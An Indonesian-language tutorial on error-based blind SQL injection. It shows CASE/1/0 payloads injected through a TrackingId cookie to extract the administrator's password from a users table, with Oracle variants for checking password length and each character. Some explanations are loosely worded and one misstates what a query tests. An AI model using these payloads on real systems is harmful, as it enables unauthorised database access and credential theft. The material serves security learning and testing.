Blind SQL Injection: Triggering SQL Errors

Teknik Ini Hampir Sama Dengan Triggering conditional responses, Karna Terkadang Server Tidak Mengembalikan Respon Apapun Jika Kita Menggunakan Teknik Bolean Pada Server Target. Nah Dengan Teknik Triggering SQL Errors Kita Bisa Menggunakan Query Untuk Memancing Kesalahan SQL Secara Kondisional.

Untuk Melihat Cara Kerjanya, Misal Nya Disini Ada Dua Request Yang Dikirm Ke Target Cookie Bernama : TrackingId :

xyz' AND (SELECT 
	CASE 
		WHEN (1=2) THEN 1/0 
	ELSE 
		'a' END)='a 
		
		
xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a`

Kita Menggunakan Kata Kunci SQL (case) Ini perintah yang digunakan Untuk membuat output yang berbeda berdasarkan kondisi.

  1. Penjelasan Query Pertama, Kasus( Ketika (1 Sama Dengan 2) Maka Set 1/0 Itu , Dan Kodisi Akan Dilanjutkan Ke 'a' Sama dengan 'a) Ini Berarti Kondisi Yang Diberikan Bernilai False Dan Akan Masuk Pada Kondisi Kedua Kalau a Sama Dengan a Dan Bernilai True

  2. Penjelasan Query Pertama, Kasus( Ketika (1 Sama Dengan 1) Maka 1/0 Itu Dilanjutkan Dengan 'a' Selesai Sama dengan a) Ini Berarti Kondisi Yang Diberikan Bernilai True, Karna 1 Sama Dengan 1 Bernilai True, Dan Akan Dievaluasi Kan Ke 1/0 Yang Menyebabkan Kesalahan divide-by-zero Error.

Dan Dengan Terjadi Nya Kesalahan Tersebut Server Akan Menampilkan Respon HTTP Yang Berbeda Dan Dapat Disimpulkan Bahwa Kondisi Yang Kita Buat Bernilai True.

Nah Dengan Query Diatas Kita Dapat Mengambil Data Dengan Query Seperti Berikut Ini:

`xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a`

Query Tersebut Jika Dibaca, Kasus(Ketika username Pada Administrator, Memiliki Password Dengan Huruf Pertama Nya Adalah m, Maka 1/0 Itu Dilanjutkan Dengan a Dan Selesai Ke table Users).

Ada berbagai cara untuk Untuk Menggunakan Teknik triggering conditional errors, dan Setiap Berbeda Versi Database, Memiliki Cara Berbeda Untuk Menggunakan Teknik Tersebut.

Berikut Adalah Cara Untuk Mengekploitasi Database Versi Oracle:

## Check Panjang Password:
'||(SELECT CASE WHEN LENGTH(password)> 2 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username = 'administrator')||'


## Check Huruf Perhuruf Password:
'||(SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username = 'administrator')||'

Last updated

Was this helpful?